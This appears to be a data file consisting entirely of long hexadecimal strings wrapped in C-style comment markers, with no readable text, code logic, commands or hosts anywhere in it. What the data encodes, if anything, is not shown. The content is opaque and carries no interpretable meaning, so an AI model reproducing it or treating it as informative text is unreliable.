81c26a9443cebc1ee805a8f3385092096a20dbd534a166d638749f5edd015f8884afb52698e0f14042285151300f272464aff1d79bdc8c1606719fa47017b435c98e5e50ac05561b2505ef1454e4be431306343f670418a117157150d9f249207dd50429095536481f258bd55ad838fa18bea155d19b82c6b65d2fc0d3067ec6fc2fc886d8af6b09e4e1b4ba5a1f2c928b48e0648ebb6248ec50856926ae98447d6a1944d703a47f1a1564f24e2c4b8b1ace28046a1a4fa17b3bb2213753a497f541c9f9d27d1724eafbb23fe12df276356462f18e13b2073e040059a209aaf1e6b6ed06787885df2620f53caa1e28f4d258ba650e1e9bbac36cef80d728c842f77dfc74a0a78a2ed17fd23f8ae2ea43561767de0abbbccf205b0c5322b89ed89d31993e169ae772b113f495de741d34bf17287feaddbe854988eb7b5f24b3ba655d54acec240f0d9520c15c14e8854ab62c71ad723c13af6253e01d2ab5282e72511848c13f0805969f9e1cc245d3cbee5199264a2407ae80f4f3c111a7dbff74d3e2a600d590b1bb2dcf6d3b6c66e2ff1a83880edb03b7a3c9348803ef51034948f8a0b7cf262aa93941444eb94ae8957b0da90a43b2cb6ea4b54504e716f51946a75a37c6d9eebdd3c5b7b18e6dff62eb16b1e4662778c8b816affa01451cb0e8b48a427d68d9df2ae67a4901527e3c7aa2877d084d6fe5*/
/*bcafff63f0740aad1a3e70d86eeb12e38c1c487efd160d4f801cbc04d893e725eadb777bf5ecb8155e0b48fc99401c11cf8f5521e76300d50c8deb7042f937619c3850c31539368e01654b3b55933496830136add1bdf4ce13af080da1907e99864a3253308f3515957ff8fb99a2772b99e65c8a7448cc78f2fa0f0a3afe3ed43f79868868da47b6da6a3dee8d656b760d9aca8e6bc693738e1d4cba97b68fc40fcfb3e1b06668e380cbf67d1d3268e01ed9f7b91c6aadcc6a963ea18482fd9b52d52ca0c5bf60caef5745096e9307b6916d69204b0cca4afa26e3bd57c3148cc739aad4217c0783e83b25d158dc77a2a951598dfed78f8483da09194979ca97538e8288e75f4e77ace1e18955a759c737c044bde57c6182fe78d7869548d9cc600ab90bffe252ce4c746b03f2ae318e3da1c0f433e9d90e5b233deb00c3ff45b79172c9409765d4fe0a49a873f6284ded6ee522f050bf481d0d574787f48e215f39a0b2dcae08fa87240d9b98651e2073cf50269d3cdfb83d265aa299a580889b29e86b3ca90bbd69aa15c634e643c2fa6c19d698c138520e237f26955d63f4d4f6b3fa6c561e5231e2e914409f37bd93b4c6e3835b73b77e30428b2d212d4fcdda0e8faaa66a3cb7cbe2db20bc192ac85c3e66afff8bf2f8ba81b4263455b3b00ce08e52d07719b583cc5596647692400e53894b841dab3123ca04fe6064c74f107e55d5e8fb698517c488e597d0889dd97ead95f95b6606c6da0520b6b651a091fb9b40bdc20d1ed3a81eedcfb216c40018ca5f631e087c24c8aa1f3cb46db39b5a64654af9d1abd1b4f901fa4b07e358313288de0a0bace33f8f1abeb56c8c2b0ec913a661d41d5037d0dd3721c4bf0c3750e6b4493e30e35683be8ca711316cd6a105622285943c6eacbdcde2c87b7b53e74e7c46d81a2b080b9da3c171f3058de720cb57a88239ddfc5254947720eb7e77d63b9f29897e0ba7df522d414ad25a8cfc4e5f49abd4784d0a4fdd333485ce4cd3eacc02aded11bc420905f49cf4baa499799397acb99cc92a6b71a8bdb678100810703a3e3b231c223b06a3ba09d7b0d483e4d48364ee891b696d48a46e9c189dcc68521fb1ad8b535f0108f4ac74d772910275a5776960e5e99582eeb0313de7882eb5a406efdefe91c1de976aa9432d561554262cbffe6871715ccf321224af1d29f19b2e3fb8c01a3b59f3dfd6b8e207b11209946a85d35e61615ddf9e71ff1e4a4c67d3e16d7bb6f7a52e908a362f38648147bf6683893af30e690d2f489b681d73da5f2c15d23e2cfb822b06c12ed908d57a332d6b45ba7f1d6d2a640b9d119678cd4c579d1993a8e93b7aee8cbeabb74f6b606a473acfe3f3870e6ce9646f503fa6a6539b71c6de7cbe05507b1f586d4a88633f1658beb1ccdbc2486802f4b81166e0c8b03f7945577a1983c7f562e37256f7f41d8b547c9baba4a3235304a8f96f488ef6b6032e8fb5c11515798d2291f7ed16480b53e83a2ea2dbe19a1d8a29feab60313e8955b83e8276ff921fd3658ac2eeec838003c67d82dc1a9539f9308f709f7148c79ea84754c8c0dabfc0fd10a23a22944f0bba5ff6f44e7667d6f2e7add2304982ae6ee7debd7133d42f4e6e2473bf8780203b216f060c668f0ecc950d34b17c429f2cfc462c50eec8b381321ecdebbadede7b091fde0c1b3f1d03b5b6e9ed5137f609ab2414a82d0360709c2890bbdbeaf381b98c0a600521e4b03294f3ae873e568c3b9eb73000856a06e7eea05d8033346dc946d36e6b593fa2c1d94637e2a10172bff387e857933b3b0ad8f9ec72ab7bb73805623f5f70814fee40c20848ff8686e12c6cf64f9ca3ea248aef67b0aecb8346de385f4a2cf82e0a4473a72e59cc497780ad2796bc264f6184d301594e325e9a0839c04c859528238af066db3b0d37f6a4ca228ffbdb4de794d17a3d3a56521b4f88231560ae5a48fbadd0d9d5cbc15f7c1cef7e25b5e33607983520f7e52b0621d2825103bc18300ff6a475cea545ce65fa783b3923bf540c9e5a6e5d541cf8e4bcf29ede30170b17aa899ceb4810b7cbc6e70f5ab4ea79f987f32ee748c5df5e5c9665d82c5abf7c6b54993c9d89bb8ed07d3446a4288992ab370f87494ec8d4d3bf33694cdde0179f10891ba0b2e607284594944e01335ef2e616b57f7281704b8ecab3c867d78515784beee7c3f4571652ba9bc9c1abab091d9581dc15894c991ffd4a0632e58125c88e63cdd9a3df7d6a1cd638a93613487c5dd909bcff548d2bdb4e79c27e1435d1f5cdc1e67e8f11a9a739efb3742c18368b646a3675056b01dca73d293a1509692c150e5181054d015cf24dfc9ffe6a7fb479b56fb826485138eaa36e732b89b31ee674ae62a3b968cc0492ee2f5cda483bc9dd8f11bc3d201fe95dbf3fbf70b39df42f40ed7f8fd2407b5af87f3c41393cfa2d130b5660937797c8c0055e0bd660d3a213b8cc7ef7a58fba77774652df4bd35629979e658a4144575e4b92c83d441c1ba2f3052f6acf976fc2429efe14cf42d57d2b74211b950274b249afdb223774f060f71c64391f498d5f7f92b3925f2d8638adce40645f0f2d43e7e3ad1969c3aa22938c313d3dbd405fc669905276dbedac21ab85cd37cc8ff5633e00e26d62939b45f6555be52173124d80e6954e3edf2ab4471fa7ed69c109657219e6a2cf73ea999c8039f5f3f4969e2ec252ac9fe7505d6aa878261e116777c575a8f28cf8d2cd3c27853994274f215bf34368b8a93ad5549c07b79a5809bb5075236548cdcd5deb5255ff9064d5aef0513278d5f001*/
/*429dd829038732c1011b6144d0c2a45e95550b7ba7487a95eb893dbf3a9acd49d574f3f51e87d14a0152e4c49315eab3cd0ce6da333b703223914777c5aba9abb622ba5e507875745b75dcb6c824c40db28cc64831ee0dce0181f5e867bf367951c325ce421db0110a5feb2e21a5615e70e00a2f007a2e0145ef4a0b5c380383e23008c2cc6e587b08d9f45cec83e7ea77514771110c9f07c19906ed2c68e34a64b2839ee182283f249ee6b3777a823c48472a053da8365b02ba9b58673e0f65f1fe1645ccd5d5be04e12e31d6a56fb090a283e51a10f5f349a0353a5112ac572d9e3b70206befadc89c6800243496a8daadb7e7a135a43bd376773bf4c745631c5d59d86144bbb768c1611328479f311ec43195c4a41402f4984cae1fa032bb08e36b068af5ce81cf94c57c973a083fb18846da0e1a3f79de41a14afb97e1ef635218510a1d2a0dea7039f4a573df949d6b726cf1b6f584033e6a5131635b9fe70f81bfabc4379d3711fca8f697cfa429f0a1c3e1eb12bdd9b640596a7278e8d17afa5185d43e6e444bd762812ff4bae55f9ecc63a64cd2a38d86f80de3e589f182a836294fea3a2ba392cae882c9f82eed9523d7b2725e7b31910dbd81bdb88e8e13e27ac39a8d6856328e08ddf846d9088b0089a63fc80afdbdd7c1b37e4ea526b02dcbf418be7818e5b00af31c7eab481d723efb0a3829db0b0a36642c0d4ed7f05366b105b886d8e18c74bbf1a3fdb662310629bcebb0818a8d0aee1bf866eb5d923a6d5f8ccf696a4b6c1f9745303a5f0c483bbedbbc9999719e433e55b1d0f98d866082fcf87ed66fb7e1c0185ac3edbb275d544db43d20ea49d19e7d6593c1e37fdea4cfa1b20d7af36af0fbb50c8c94c034a72feb19b7dbef37451228e3a8779ff9abf73dab277e0d9c907177f95e9b1356dcd8779c56eac39c5f42190ef08d896ca2803b8df2d95dd23ec6978a00b13f9cd9c09b3e8c98e7ea9335acbce56a706bb9b92e5b29c2b881642b53f864a33f1579db3ba9c9ad2f1994a0ba90f9e7de40e5377e4391f2994c48c2eed3e702b0e7e2dc088c5ae3b3d1cfd0deaf5b9083251488e98d42c170f68638920a6d4291148b97cc70afb87a9cbb406315e54255203d5a6d557ca4aefbafb15616d61022e5d9a10b836067b2f52009d32efda6b6bccd25dfed60e1f43dbf40bd9c60becce196c2f5e1c5df8a05cd3751c8f07f616d7953224142832ad66986a31224e9b3ad0359355c6dc927b2abc26bd990e307c74ce9f313928c61b6f72204634fa9ce357f8b3c00daf2b68bf51d620c7a788b2278b1ce26c682c94b483e950b586d634b0a4ef48250b418838f029eefe5b4c45d41c0f24dbe2a35fe286c394856c1c89d95c370dde8fc1c1283d8a7f7b7f94d0d1ec4262ca0a6f1cb9588061c1bb4dc39865a840d49f7a7327a348935da88cb85cf99a0cf98e29179d3bc468ec9c7a3d05b622aca98de680eacaddfb298bad8c30cbe660ece969d89acf4daf18225c66900db9ea00041efd8c0298d13c5103eb31d5935e7fcf6c74e8990266639e4ff4a8d0f56990d0463336d8986926bf5efd8284ccb790ff928d2c9e941b3368412abe4244655a4e2e4fbb91b7b1f16e8b2f4982815c1cfd8a110a157bc063c73c33c057cbe0d6aaa9af81f0fa557fcff9eb02c55981bcd6231502c497b129e35840202642bc9c6bb85c611bc9ba18507a2f26d706ee2fe91418d947a3dd32e93ae76a5065c6dacc001921b495ba5dc32ab403eada1597883af9dd50a3bfee1d1c86a99416c8e5762380f45c736f646fa05d9c02db22dc810cab8416a991aed2fe5e105abbfa774117f99c83f9df7255b6b357da60ce4c7d15861498e0c3606e4c60a306ffebfdc239f848cc8c78ec8cae4a2cf729862a016cb6e1b062c9279c6e64b5d3b8654cdd947a5c891116274852139ab6a781f91c36a7ac34d422363ae60947124a2caef6bc1cba451acbc70ab3c6c1c3866732b34e5a837ca375c33956a00e1f089eccfb7566e452c49efbb3e2fbe9b9dc2cdd1ab2ad2f40ceba6713b4333549abe02b7984a0238e0229595074ec85e11f59a9464ec92106be7090d5481fa3282d9fac88f15a50e6b9a981ed59bb5b5d7f6ecaaab03e682de89fe22408f3f1051d91b79cc3b60f30f8173009460c77f8ffc950bf712aaf38203be44575d4438a712cc85917051b94d709272d22c1166b952538d8fefebe316a1ca6f72d142989989adb6838b72e8bc6608c2fef2d7641b28f8b89dcf6c489def3d88eeac724a3406b6198638fe236fe28bd299747a1b06d1ba5f7c058317b144abf077538f6dcd6f29a9b51df7ee781e1f16a567cb784de2d0addd8c414572cfa02500ff0091a7c87734cdc3cda42d2b6861e8a0024704f003c09d390acbc8ae93fdd3f76b4762e49b64ae43a6593161c88f3543b11b926993078501d5e080c10e97391cdafea70d83b11d3c5cddd1397b7b0c85a60b73595c7c79d22a87baf5e94ec8d808c9609e5330880c50dadba8cd3593e1a58497b02becd670db7f77da5bd643a212384859fca9123a5bd05bc9b8ef49678fb15c4ad8456a45efb21cdc409a3a7370cfa8b9cefadac755eb810b3c78486c988543f38602bb5ed46bad5f2ff0c23d7296319bcf70b0f4699204bf100fd8722500de91ff436cb26328cd9f05c41b8d14e40a7d462ef8d5662c190643ed1c3e3794493b7b586e462b739ee44153ae2f48f6f7305e646161d7447f839cd4d46e09675e1090fbfa7c908b6ecd7ba60ecd134ceab472d4700879717cb5ddec16e80d8b0a3570ac6626226e4c*/
/*7832f8236062c7396d3185b3935b45e9dbb37ba8f150b0dec9723fde269134ce3088810cb51a88cc27a7c5f802937738a4d10e322435b1f77c90861acc87665336705d39f398a7d8c76e6e21cca6710e486b52ef8b0100ac9f72b129da3e39bd24d87275c71070735cb57fadbe3f5c6528bd59b589322d6025e04757118e9b8b83c1c2c4ac20234f6fc5050e2d31c03c6e256a4930b011fe16eff696360d3789780aab4aecc05b2af50d3c35d258d97f9814c142fbd13e7aeee553ec7baf453f62c65ae585bc4edb8e82efd58c67cd81d2f4de4e2dd27e1b00c62489bc7839b0476bc6edeed7f99f0284ca133d8674ef83f296f7c8127cdff2e304e90e526a6d87777561b178ef2438ddfe2affc21e76e05af8110cdb2e1890416b1e709f9ba825f84e52364e043e73c904e80c9ab16ed653300d7fa7ce3ca9675baaea1339fc1db89dc93d657836b636fd860a55707da51492c6abc84e10a218116b561d5e351a62a06aaee0cbf7f035663b4e01fe53ac69eebf1506ea092081dbfc998802968ef2f991dabebe700500683285df9f5c07af6a93fa8dad9e4f5ffc7d2f779c066fc515495ed3ceb72c1f8d8c68b541a22a9f61e7f6476282f4d3ed2671fa6ea7a11cab480c3c63a4a00a9913390cf7e81ee7a3ad5fc10f5721d5015f6f9194fa671de0b7212a758f0a07c24698ceb2951fa2093279c094ec3d962dc865e58a522c44232f354015d7504d66728ab54a2e857249a83564d600adcf4141e728212c604790ed378c28ce7321c10359f821f69208dbfb09a29f4130ea085417f32e152aa3cc7d189ac594ed5a068cb73a5671077a73951ddb6829b21e24f974674d678676ae106bf3abdb7ea58acbdc3c789001bc2710778b6347120af1f873e9ff09507887fcb51a1909ef42e661e2b33d9024860d61f749a2f53f1cb3f9c1ae280baced13166acd805918e2ce4c683f12b79ce212b4f20d5a7de4487b543d8c728a504d4405ad18cae05a33936567943d11c4b6e33b3c3de19276a9574661d402f038048a68b3b536ad990b0544b91be545999e200623005bf14828540d5fbdb70a0105b21e20a6599a6b17cc738de04c5a32a0f1f07fa172ffee2d2e2055f6597c05ddf763598cdedeadab5f95441dbda07a53c828fe890d1f25dce2058a67d70a89e27ec6df6d35e1606c98bcaebb531929c784f8c281a10173409734e650943a345e83e45b8c4e27acf59f44a3b0f129e85569c45149582a7f053bcf957a5d355fc55f1140b5574165e438fba5e7293633b6803d9d084e7ad7faf1ccc78f116a4028b8ba71dc9433f365b8f61ef8f444edbd2f578463d130e0ef2f07b6df878c0088d0a7cdcd8fe510156e094e005c20ec52f4cb437d798ce2c96a6c0d1d51dd76cc91447abd80aa341fbe9934b0c4ffb27170e04b130cea75c1e1fcaa85a5aa5ab207a72b388e4a4d359d1bb87aad78a6dd8696da087139d21b9b8b51f096a77ca4f2f80559de2c4cd10ec2c8f7f2f2467f3a21fb47e1c4e6e7bd99548327df0eb5ff4220ecf8c9359940e00e8c17df0c2b51270365492fbf8fc4e1765b73465baf23564520111cbf04b578bd6bd059542698a246c1e44625276a3119bdad201db99a448090597226f65e5b39e13aa0fad0de11a0d89cd61ae936fd86e6bd9691f2a9540915af6f1d8316f68d1fee64f45873312607d8233cf0aed520f82d70d972f8ee1f039bdb1f6ffbece0142afdf146b822b508f9e919482f826bb54de5761555ec858f036426dac97aba7a229c56ff98f41a6b0d33508672fa4ab86b5a66acf50d196c3c5f79bf99c6fb8b51c2199148096b0331602e16795c9d8d6be6cca16243700835753ec9a4703fb7d0c01f78c34c33fc40cdee7c1f4452cc5d56221f4a12c7583ef4ca06d710ddaf2c2bad4c705ed917c55333d7f08ea5d12c0d6d5eab2b18b6f658de240cc1637abcecf07f789803469c1432b961937c3e0387988cbe74cd3397125d32d11e5b7ca5b8c47ec2d54354c098a7d25fd41a339e4a14604f59be378ff7f7e3ee0f4dcdb1915c8f655d1047aeaca2ed7eefbb58c2dd239e52ac07fc2914e8f3df1d413f588f0a8afa62c5a52a20931062050e61af3274316f07c80b8be4d6c295df454f34dd7070760dc65b0e75815d5e9dde0a718b4af0c313e3bc8f17660e5184f06486fceedfa4c5946cbc38570fff48cc65fe64b62b03a4ea684e2794abfece6d41d74e5fb73ab6624e9546e07acbc32fce9208d0e38a4a707d27be0687e925a2aa0bb4f1fbf5ebcc28ad7155ca32762e3667807da8627175f0e53876ae82be2c8d1013a0db44f9be4a5ae927a7128a2a5fda19ad5037fb9db399912e4be8d1f5330d848b86c798a2b53d2689d6799f45b26833ef0d4a68af9287af2fbc2bc49ea4dd6e80d40c2dfdea26ca3a49db4980ea6df79637f08ad9412df12cc24102b39e2e4f58a7cecc78ee5012bc8d20033b2102331fb202dfcf4181eec520e06ba547f6f2435f0585200cd7d5285b0850b7ae85cea9b6244f7255f6bd4bad901ef0b5d996272052f3bbb5b6414878c7862a7ff1be3338d8f27246bd4563e3c4f7331bb818c8a2e81378bf47b3eb1205863e2b408b6ca12bdd70c2cc0570d68e7c36293db60d4afe7336dd71026d13f79586fc647948b694adebdf9d0dc3c748fea848df3cf4efaaf4c3c42ca24faba4815d05e5a1078dfe60edf6407ce88d088fae795fff436e914006a4168642af7093864ef0c5262ea3c00199325e98c53acb7114cfd316b1e9ea25c43b387d7c55b125152524cf6414d61a0588342ab6823774215fb1*/
/*a816c16f27665d2228313f92ae190405c4471d3a3e7f5276037f1fa85f116663da06199a1b6d66ae4b31288ab1cebfc5120b11159c2e0d204481bde966bcbef08bb3e08222941c19a54a1d2473b35a8689d217d06945d3016bada97de2a23febfd5f3756d02c7f9dc834576d9b24655ce3b39fdcc4f5c06fb84382e9e899e5aeac23d2bd46d63423c848fea1bc8d6b05ecaa2aa69c210279273c8fec0ab03075984135d949ccb00e05287eb862bd537a082c2e87aa4ff57351affe73fd480629f4b34d8a2a5f2a5f4752bf7e5be7a754ff7579a9bf54c40a66cc96a4ef364792d1c96083cabbe191b443c1f57d4fe0030e902047494f545694ece43727825adacd94c443757eb749b7cbc68da46778cebaf3e573f24d8eb1fc8808e12eb29fdbfdf77dacd9cd8c00e24d7a1eb8c286bea71bd33bf9612dc7739971f38688715a42c6222580a22d073a0fe14b33fb88abc9b144744e7ea7fd9fca52acd7838ba107b3594353b6a33ad40bf54a2198acb5532361af4f83b3cdc2998bead87664d5c1a71a88cee2d81d39239099284af0a293c733fea8dcd8ee391c111fc68d2c2110e3efe1ee8e861c8277ce93bc16a8ada25cffbc5642ebb70873f03a0f100c897385129c8307a9b8c7261d77f024e71d3a912ec1c99ef537f731c74c49491ec2c04dd8f9d32a53f6a009989da457b000ddd4ef35d20cfee9237e2d534f7b92986f10d95574662b9f969c765bc506c7617a674b489d46c6b3c5a8757786a3d759d4879136d1a2e3bfd76809f19bcb588e2195093cb4b17c50e4a7a977e7a01f59b51485a9046b6795e4ba6366211cea25c05fef06480ed64acac7671ef83d6a328334874755212e05d097fcac18fc6aaed01f2a1b356c47e908d122521b8c66fe5d45ed9cb97b91fa4441eb7f91e113b661bd4fa275ad82692dfb4017d3b2b29dfe485179d84d17c4efddacb8f6326280281686e483f3ae2379f525121a2d297fbdef9a143456c143611cce7c3a31a222193fe6e6db087824c62ab2242e6460e34f03cbca19f5bc6111378cfc70787bc83d1c535485b4a9a41432b38852f9f9a5f08c6b2f37a52d1391b95a89a3a57248788949ceadcccb9346f6a0711d6a26d0845626e01997a30890f6df0302ebf9cd69243e9845b28756d3a28e881b9b57d1f7b5f1bcc14d805048b00ef7f994f3c4ff33544be3b66c2de6b4d8ace04066032213f396f0cc767f536a87cb0855db8329d9820d4775e07173e03dfc9e45c3b29f996ec4519c97c7286e93d28e3c8a61d20e9640f5fc187de334244913cdf91c65fd6bf9beed2d1bf8714f048a06a3a0ac9588c95e8dc2a5e993a6bce1b4efb60646dcbd3525cbb0465f62875c7c08af3aecb7984eb5370f668ca72ae2caf6fb1d2273c31b039d8d34f6a95e3bc58d6fd1684da1be247943a2ddea4d37e46766a6f000ad02556d42912bdf83f1aef089d82b03729889e965967b1ff8403c0bec9a64f029c770fbdaae77f2d641e02772d6e81da6a5a42ee285e1b3a507aa9400968d51dd6f8350a2119579d5596ef314db744a0a2c787885be6ba12d24cd2ac7a6dfc87494cdc8ac8139d5aa04342ee053d9a7d82f4516bcad822a33f51a1fa46a6b823ba1ce421b70e6091ed5003b1ce946b3db43a226a3362114a15cad3cd89123a3bb0ac4d5e07c9943ba33bd5f115eca7f2555f53dc752f09a82fc430f900c61e1703ef9c83c747cee442c7078c5c316bede0917d1603c4366b9a024d1c6d9cd324448ac15cd90213618787aea4bf213e383f1e3bac26abaa2e16fb36ae6ae4a9b974e483821dcfd0ee88fdfcebe61e502e26e90a23704a4563b005e4c5df04ff6bb48efeaf0bc47b5397eb60f4a412b6fa81cc587f4fb2d4d3b7e5aca85b41ab25bd3fcc8a99ed92b80eaae4036cbe752db7629cccf71f3f38fda5e9ad80ba478d67d48ccd92fb48f5e6e1b1f659e2185769fd271d5628d5367e6bb6739662e8dc1038b2637e02850998eb8054425fa8df5a561bffa0f6babd240e914d03107d643ee0bcc9119612c264bba2049b9e16b22246d3a5235f1fd52b789a6bbca92cc03869bd5dcc76cdf77a5645b4c42f9070c0325f16b69f2f528a79ee9f0f34c75c7cdc2a4d9c73453f0d13fc302fb753d6343595c06a759b85de04f66800203f8f34e4a14c56362834e4dac23e26ef38dfe3accb78c842abec09eeaa42b08322770d7ef823760cc72ed585836a7e2f469587bf014814c8f7c58b433a1e831908dc0cadacbc535740f8264212ab62a6f06fbcb12782e8a58214eff705d0046363ca4b19d28c2343fbc43256dadada3c933f39d1b99593380d43e49102e37622a159ad5112bf466ba2ce50fbb9297273448d88a98425a11a8f86208f57b12cf3468bfbc674cb90f5d05eb89ac20023888cb70305024cb0727b5a57894bab87c07ef7d14d5e93e64bc7b3d1cabaad5b18ef259e89b7f56bf5119a09620a9988c6889b2959840654310d47a1273eb4f59d1ab2e3ad3fa4634d1289440a4ad69153dc29709e62ab63895d2abadb028582befe578cfcc42e995cc83ac4c4a4f6ef0618baa5aee74ce37b76853bd218a7bd6153e4f6392fbb9ffbeca3807041a76034b7a0d45599f8d7782b01d3e54de1ee3e5ebcb5039747044f327d5f2be819ed0743a75b3684aff7dbdfc9f315eda97a99ccd09c8bad3692299dfc926632801eb0a237900e8540d3db4ea8e7162a000a07413c7aded7a11affcde1b9ccd73729505ca0adcb9fba36b6e0cf896608038db82d1e4fbdfce59be4d832152d74b11bcb771e2723bc15e4a421b1568abbeaa*/
/*4dc7d3adebb0479b1404915358ed3d61554187d537f40985ce7545e8df1f298614359e1909ba564d8998695a278630ad63987959feb83d2da10f98d50fa117bb3e96702576ed0319c528a9a7bef15b5e020afe801ccab52455d57f48602f7607b50aba7552ec7d8585d48f744c789d829f5ad3acbafbe4412802afd333dd58a307637f594705f8606b5385f80b61fd616b0746dc0eafe493e7ad7a6256997e529ba042e384e48ffe228494c5ae81be2a724c08d9784138d8b07ac1db42781de9c7aea9abef58b56ecb63f27c3b4aaac652affac4a686ccdb587bf1d3065bbe67b8ab79ae95077502993a5d7a99fca97ff7fcff5390617c504b1bd45d99fdc12418eda22b5af21364ba2f1ba63a6c521e5830c4b32844f866e3b3c038a383b3b49e9a82c102e53b326c3a2fdbc3c9bdfce1db0379a52f541fd7c5ac0bac4bb21ea836f99788af3e13f55835e2ab7f2205ff74ac80326b81666fefb5ebce75bbe59d0b8454beb38cab77ce1d1e0208bf94716bb6a023e7fd9f0bd8533b0b1f8868d5b2ebefc6cb2e0ece3e72d5b0060fa2247c0648007dd1474ec248084cc5447941beac0ac44bb99e37722e36c903eb23fdbd9161ac5f111f9aa1899775ca3322b75beeae66b26e102066102af1193cd098d499a1ff2e41fad08cf39e33f31bde17c5ba47d8ed9762f0c7b07569457b3a18ef4d2685186adb4374cbaa20d4f5ad38ad2ff7feb1a20c550141ee84ac6cb8b22dbbe90cab2a0a52517c0644d502a6f9fff46958bda0f44ac8241b29127fa6dc252b9148425c293b21534680009784ef1d677c61e033acc32b3ca2e3576887a278229fcd3fa2e8abfe1b545727169cb0f287ea0ae1095e2b102f7f4560544e9bfe7bd9347e12222d83121419f1a1e6f5a9454351a905cca8df487a02c40c8cf92a3f0575b81a6205a9fcee52da22fd8479276b26b989632520f0b9680cae68fb7440aa943bc2655da34d015452d64ab6fa20f6f47e7804afd06b30c5deb648e3acd5ebe87e482575444329add83ba4e2a0fbbacb773d639ce9d6841c249df6c1e634e147aeefb7dcffac262c80cdba8311eef4f5bef6b6de53816626b98a01f313cb9b98ba7886b63e02930f9f38214730cd16176ccf85b6eed30a5e3beb059c82ce401c0eae2e3f196d636cf66251ae71026421193150057ad79dc37286009b120c57234966d557950ba583cd53dda0e80a0b4649126bc81a9afecf70f0956f1601db736b806cf7c2e70d4fc0dca168ad9afd6ae08236aabac96d38f6da42d0dcd8e3e2f93b7df53aaededbdbd34c5b34038680a2d74d5318d160927db4ce307957f5a592188d96853725e598d9c8c04a3bc40f916d3ba014206d8fc9bd2ae01abd160ba807921107aa29a89c593233cdcb3e400bf823914ae7bb847a1596e8ed0af09749f8e021166b9c1087515184cffb38c1e5a47f5e7dc1fa836a4ea070a903a99806abbf535713617871aa6b3f8f9552a0680ee072c12ee3621d86c53f55c302389af7137617b53588a58183fd4207356f048bf2e2f27cb5c68bef8375b588718fd3334284cefe1b6010ba1cdc354941369b34ee2ed05f1fa6afdf8d84e8224d74a9d55182b29c8fe6fafa83d96a40390782bae1f5ca8b7cecbb034d3b29ad22b23e605d4ce62a3425f5e4738a6af06f1ca965c0a68a42cf5e87410809799ac1e7248bf219e20eca74f5cfa0c52a4627ebd53a957e283876a0710892edd0149134ce7c9c089e452149dbeec13ba2c20dadc064876bf99384624fd947b2ea4145244b600703d90945d7c1a4a7dea5fba9b94fd2f12e844aa4395fe2b41b8c93f397bcf2649de46c79bd1457b48e20452b5b9557715d1ee8fbfe6efce7c1a08feaf0238f7da5baaf489d853093370577813b3388681fc3487bfa810a54b15623caf96a1163bbcd5485a54681c186692d37710764db0c4d342ad8db67295c1b840bcedbc4d62cb0c3a2607c3f0b220009efd35c4bd1c5d9d9702b1fe220b36ba6eafe4eb54cbe8e7d319ef20eeaa07cda060e80536beb638789e4be33b7667ba201199860c62f0985fc6be1dc4246411d4f60accd50c2cea35497e4a5cb0320e8f433fcb90288c222cf1138e4ea2f81462f9fc81e58c912b175f4146da9677cc277bd579f4818b93f0b15423f962d70bcdb7e23ffb5f1200004fb4aeef954f862ae78ff21eaacd5511e1e9f5344191c68469b1251eb0b5ccf8dcdb6252477250489435885364c12b7f44cb878dc041cd3083d24e23b797f4701f630abe260b9f971e19b4bc885430a57354c9dae033c12a2f91c613e394bbfd49182895b2c3f7f9deedf6c510b1b4a6c582572665bee5164bb017a7dd11968beae9769a26c7943736470a9def0dad053d853d8aed0f0edb655c1b76b45d4d3cd8ef6b47a9f1ac30117e871f79e8d1499d264ce2a696b5689b74e120e92ec12e1d6343db97f23a310bdead817eecad214e877a89c7a6e39830699ce4084e0a0fbec1061ab491c98c1495db71cb1563c8f42296b2836e22ad166470e79eb1531a8101191f021d609205fcbc50bda91534efcd8a17089cb9d6cb62d060ca089eed962389156a7c674f915a4e749e1842166de48d770c34a375de591c401daee174797abdb885064a2c13b3b1b28de660037371227b6a06c2a1827ea67055020c7cf135aba2f9b441a6c12e42f726c4cba083bacc422c86fc65e25f776ff48a8ebd5d04131800088a5c6ebbe3c3b4a9f373f6cd3990111d43c4b4e087f5c28efc389d6db9071da8f16e7e4b5322e6b93c7d9d4eeca7379b76f7f9154f92b2800a1bfc56ad15f*/
/*faaee0009e9c8fe938ccf814ed5235904de6546dc5e06c82db11b138845a5ffa1a880d6bf54e026bd93a4dd7c302000965e53a55d5ac075faa18dcfe478e70a1898aebb58c49da372054daa583fa7c2ea15f5a2c30408b8b905457c1b9360c5dc77a9bbf739a9809f4b047b721912e1cc57a6bfbc3175ef26e242df52abb86db8b7fce0354af21f128154750aafee122bfeb6b4a5dfbdd9fe2de4254f7bf89befff3afacabaca0b5118971df192ee23b243df9db620f109cd47a896512952023b55f35cb32c075e59d0cd427423cbfa7a2a33705d89f79094f1d54125d181dc13a308eec35d4be96c2416a0efc9a8ceb1ed6f02292d658992346368a14fe4053a7564f73085e33adc29f37090961a6868a6ceb11588719347b91e02d5e07cf66b77526f21417c37f59f369ce3232bb0a2d6390a93636e8d027dce2d5dda18107b40e03037049ec86530db9e52202db7a429433f3f2c7f0cacc287609b160daa430a192e7325a9ca2957799fb28b64c72b748a80247bba1565b1d5b38acda1340d84847baca8b1e64475b349ee63713fc6b679d2c7c596bb3381eeddac1f13096d00f4b43ff23b8907eabc7d71c81f59dd373db1e298a1acda85ffdd765e5446537786984ed4051708b2b7921dea16d59483ae322261088a2343e731bd4cc140e70fa9c7cfd38a5c378c462464b8df73c83ee7caf7e797e8117436122e9a8fc52e48af7d8ced6ed21332f76707ff3216310292546a6426679c7c7b96c1586e3ef2e2667dd18d05e0521657f8a9c0bb2ad2b8e3f79b1a3044958c122c30eb0488fa5af9a8216bdc2488d74c4cf64003df26f34037202ac3e9b6bf1d96a8b9fd23bd741f72f09e2b9819385b4d5913c7c0389df90299c8262d722b23cd6fee65420010bf39c7448246150c8e3241ba760abe89895da822cb1361e0e490eb20f5448290d1f0f706b170cd3437a3e4630ede6369c1a0a4756effa13c0540523e4f7336109887694017603f0e834bf69dbaf4acf3fafea324169e90849d78ffe77d2ca684502b6c7387ff2e283208f55d8b8be9cc912d5a0028f7e20a8ede943d08902d94038af4bdca9f4e5fc85a309d7fcd60f70decabc8dca76b7954deb4fdecdf7d1562bbcca3d2c89bd8e6bee0ce7d209f841d15a2a75ee5f19db3255ee3e8e4ae63542bf6a0d5035db9d8eab3232ad5565489afc8e9c3721ca70c7fed8aeed1604326d3e88ac1b62eb7e76383d8e6ec312523fd7176ea658a94e2d4e94882b8ba2b192c6dbac5fe86382917f19e7107ad3787abf1dc8bb4212701f43e5f2ece714dfed5b616a498a612e03306ea99f9de77ea1d551e196332a456178651054457c1d85560c9a4d478f446480b4bfc31bf4b375c7e657e253d50d3cf615183bb7a92434b4c34b9d9fba1b845c3a2f39206b1bd9